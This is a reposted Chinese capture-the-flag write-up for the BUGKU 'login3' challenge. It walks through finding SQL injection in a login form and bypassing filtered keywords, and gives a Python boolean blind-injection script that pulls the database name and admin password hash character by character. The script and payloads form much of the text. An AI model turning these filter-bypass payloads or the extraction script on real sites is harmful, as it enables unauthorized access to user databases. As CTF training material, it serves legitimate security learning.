码迷,mamicode.com
首页 > 其他好文 > 详细

BUGKU login3(SKCTF)

时间:2019-09-10 23:22:32      阅读:30      评论:0      收藏:0      [点我收藏+]

标签:use   nec   bug   title   secure   tail   exit   pos   word   

进入页面 先输入1 和 1 发现 提示 用户名错误

猜测输入用户名 admin 和 1  提示 密码错误

继续猜测输入用户名 admin‘ 和1 提示 用户名错误

继续猜测输入  用户名 admin‘#和1 提示 密码错误

说明 逻辑是先检查用户名是否正确再匹配密码,当页面出现密码错误时,说明用户名内容正确

综上 用户名输入存在注入

输入admin‘ # 提示非法 说明 空格被过滤

空格可以使用  () 代替,=可以使用 <> 代替

经测试空格 and union = ,逗号 被过滤 结合题目考虑使用布尔盲注

上网查询 https://blog.csdn.net/zpy1998zpy/article/details/80667775

通过爆出数据库名,但是 Information 被过滤了,只能猜表名和字段名,搜索WP得知 表名admin,字段password

 

下面是脚本

import sys
import requests
from bs4 import BeautifulSoup
import re


url_start = http://123.206.31.85:49167/index.php 


sql_flag ="admin‘^(select(ascii(mid((select(password)from(admin))from({0})))<>{1}))^0#"
sql_database="admin‘^(ascii(mid(database()from({0})))<>{1})^0#"


def Brup(SQL):
    name=‘‘
    for i in range(1,40):
        for ch in range(32,129):
            if(ch == 128):
                sys.exit(0)
            payload = SQL.format(i,ch)
            #print(payload)
            #data = {
            #    ‘username‘:payload
            #}
            #print(data)
            data={
            Host: 123.206.31.85:49167,
            User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0,
            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
            Accept-Language: zh-CN,en;q=0.5,
            Accept-Encoding: gzip, deflate,
            Referer: http://123.206.31.85:49167/,
            Content-Type: application/x-www-form-urlencoded,
            Content-Length: 65,
            Connection: close,
            Upgrade-Insecure-Requests: 1,
            username:payload,
            password:test
            }
            #print(data)
            html = requests.post(url_start,data)
            #print(html.content)
            soup = BeautifulSoup(html.content, html.parser)
            result = soup.find_all(text = password error!)
            #print(result)
            #判断是否为空
            if len(result):
                name += chr(ch)
                print(name:+name)
                break
        
if __name__ == __main__:
    #Brup(sql_database)
    #Brup(sql_flag)

#database:blindsql
#password:51b7a76d51e70b419f60d3473fb6f900

 

BUGKU login3(SKCTF)

标签:use   nec   bug   title   secure   tail   exit   pos   word   

原文地址:https://www.cnblogs.com/Zhu013/p/11502815.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有 京ICP备13008772号-2
迷上了代码!